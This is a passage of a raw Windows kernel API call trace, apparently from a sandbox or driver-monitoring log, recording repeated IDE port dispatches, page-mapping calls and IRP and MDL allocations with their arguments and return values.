(MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fb1000 [0059.320] IdePortDispatch () returned 0x103 [0059.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fd1000 [0059.320] IdePortDispatch () returned 0x103 [0059.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0059.320] IdePortDispatch () returned 0x103 [0059.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0059.320] IdePortDispatch () returned 0x103 [0059.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c40000 [0059.320] IdePortDispatch () returned 0x103 [0059.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0059.320] IdePortDispatch () returned 0x103 [0059.364] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0059.365] IdePortDispatch () returned 0x103 [0059.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0059.365] IdePortDispatch () returned 0x103 [0059.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0059.365] IdePortDispatch () returned 0x103 [0059.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0059.365] IdePortDispatch () returned 0x103 [0059.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0059.366] IdePortDispatch () returned 0x103 [0059.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0059.366] IdePortDispatch () returned 0x103 [0059.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0059.366] IdePortDispatch () returned 0x103 [0059.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fc1000 [0059.366] IdePortDispatch () returned 0x103 [0059.407] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc0000 [0059.407] IdePortDispatch () returned 0x103 [0059.407] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce0000 [0059.407] IdePortDispatch () returned 0x103 [0059.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d10000 [0059.408] IdePortDispatch () returned 0x103 [0059.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d30000 [0059.408] IdePortDispatch () returned 0x103 [0059.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d50000 [0059.408] IdePortDispatch () returned 0x103 [0059.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d70000 [0059.408] IdePortDispatch () returned 0x103 [0059.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff88002d90000 [0059.409] IdePortDispatch () returned 0x103 [0059.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db0000 [0059.409] IdePortDispatch () returned 0x103 [0059.441] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0059.441] IdePortDispatch () returned 0x103 [0059.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0059.442] IdePortDispatch () returned 0x103 [0059.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0059.442] IdePortDispatch () returned 0x103 [0059.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0059.443] IdePortDispatch () returned 0x103 [0059.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0059.443] IdePortDispatch () returned 0x103 [0059.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0059.444] IdePortDispatch () returned 0x103 [0059.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0059.444] IdePortDispatch () returned 0x103 [0059.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dd0000 [0059.444] IdePortDispatch () returned 0x103 [0059.470] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002be5000 [0059.470] IdePortDispatch () returned 0x103 [0059.470] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0059.470] IdePortDispatch () returned 0x103 [0059.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c25000 [0059.471] IdePortDispatch () returned 0x103 [0059.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0059.471] IdePortDispatch () returned 0x103 [0059.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c65000 [0059.472] IdePortDispatch () returned 0x103 [0059.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c85000 [0059.472] IdePortDispatch () returned 0x103 [0059.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca5000 [0059.473] IdePortDispatch () returned 0x103 [0059.473] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc5000 [0059.473] IdePortDispatch () returned 0x103 [0059.484] IdePortDispatchDeviceControl () returned 0xc0000002 [0059.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e8000 [0059.485] IdePortDispatch () returned 0x103 [0059.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e9000 [0059.486] IdePortDispatch () returned 0x103 [0059.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ea000 [0059.486] IdePortDispatch () returned 0x103 [0059.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035eb000 [0059.487] IdePortDispatch () returned 0x103 [0059.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ec000 [0059.487] IdePortDispatch () returned 0x103 [0059.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ed000 [0059.487] IdePortDispatch () returned 0x103 [0059.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ee000 [0059.488] IdePortDispatch () returned 0x103 [0059.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ef000 [0059.488] IdePortDispatch () returned 0x103 [0059.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f0000 [0059.488] IdePortDispatch () returned 0x103 [0059.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f1000 [0059.489] IdePortDispatch () returned 0x103 [0059.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f2000 [0059.489] IdePortDispatch () returned 0x103 [0059.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f3000 [0059.489] IdePortDispatch () returned 0x103 [0059.490] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f4000 [0059.490] IdePortDispatch () returned 0x103 [0059.490] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f5000 [0059.490] IdePortDispatch () returned 0x103 [0059.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f6000 [0059.491] IdePortDispatch () returned 0x103 [0059.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f7000 [0059.491] IdePortDispatch () returned 0x103 [0059.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f8000 [0059.491] IdePortDispatch () returned 0x103 [0059.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035f9000 [0059.492] IdePortDispatch () returned 0x103 [0059.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035fa000 [0059.492] IdePortDispatch () returned 0x103 [0059.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035fb000 [0059.492] IdePortDispatch () returned 0x103 [0059.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035fc000 [0059.493] IdePortDispatch () returned 0x103 [0059.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035fd000 [0059.493] IdePortDispatch () returned 0x103 [0059.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035fe000 [0059.493] IdePortDispatch () returned 0x103 [0059.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ff000 [0059.494] IdePortDispatch () returned 0x103 [0059.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003800000 [0059.494] IdePortDispatch () returned 0x103 [0059.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003801000 [0059.494] IdePortDispatch () returned 0x103 [0059.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003802000 [0059.495] IdePortDispatch () returned 0x103 [0059.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003803000 [0059.495] IdePortDispatch () returned 0x103 [0059.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003804000 [0059.496] IdePortDispatch () returned 0x103 [0059.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039e5000 [0059.496] IdePortDispatch () returned 0x103 [0059.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039e6000 [0059.496] IdePortDispatch () returned 0x103 [0059.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039e7000 [0059.497] IdePortDispatch () returned 0x103 [0059.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039e8000 [0059.497] IdePortDispatch () returned 0x103 [0059.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039e9000 [0059.497] IdePortDispatch () returned 0x103 [0059.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039ea000 [0059.498] IdePortDispatch () returned 0x103 [0059.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039eb000 [0059.498] IdePortDispatch () returned 0x103 [0059.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039ec000 [0059.498] IdePortDispatch () returned 0x103 [0059.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039ed000 [0059.499] IdePortDispatch () returned 0x103 [0059.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039ee000 [0059.499] IdePortDispatch () returned 0x103 [0059.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039ef000 [0059.500] IdePortDispatch () returned 0x103 [0059.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039f0000 [0059.500] IdePortDispatch () returned 0x103 [0059.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039f1000 [0059.500] IdePortDispatch () returned 0x103 [0059.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0059.502] IdePortDispatch () returned 0x103 [0059.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6a000 [0059.503] IdePortDispatch () returned 0x103 [0059.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8c000 [0059.503] IdePortDispatch () returned 0x103 [0059.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cae000 [0059.504] IdePortDispatch () returned 0x103 [0059.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002caf000 [0059.504] IdePortDispatch () returned 0x103 [0059.507] IdePortDispatch () returned 0x103 [0059.508] IdePortDispatch () returned 0x103 [0059.509] IdePortDispatch () returned 0x103 [0059.519] IdePortDispatch () returned 0x103 [0059.519] IdePortDispatch () returned 0x103 [0073.621] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0073.621] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0073.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0073.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa800343bd20 [0073.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.956] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0073.956] IdePortDispatch () returned 0x103 [0073.956] KeWaitForMutexObject () returned 0x0 [0075.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0075.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa800343bd20 [0075.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0075.069] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0075.069] IdePortDispatch () returned 0x103 [0075.069] KeWaitForMutexObject () returned 0x0 [0076.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035b4280 [0076.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035b4280 | out: Irp=0xfffffa80035b4280) returned 0xfffffa800343bd20 [0076.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.129] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0076.129] IdePortDispatch () returned 0x103 [0076.129] KeWaitForMutexObject () returned 0x0 [0076.446] IdePortDispatch () returned 0x103 [0076.447] IdePortDispatchDeviceControl () returned 0x0 [0077.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0077.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800379ca70 [0077.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800379ca70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800379ca70) [0077.209] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0077.209] IdePortDispatch () returned 0x103 [0077.209] KeWaitForMutexObject () returned 0x0 [0078.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036557b0 [0078.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036557b0 | out: Irp=0xfffffa80036557b0) returned 0xfffffa8003648530 [0078.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.236] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0078.236] IdePortDispatch () returned 0x103 [0078.236] KeWaitForMutexObject () returned 0x0 [0078.364] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342c000 [0078.364] IdePortDispatch () returned 0x103 [0078.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342d000 [0078.365] IdePortDispatch () returned 0x103 [0078.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80036705e0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0078.365] IdePortDispatch () returned 0x103 [0078.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003444000 [0078.365] IdePortDispatch () returned 0x103 [0079.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0079.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003670280 [0079.442] MmProbeAndLockPages (in: 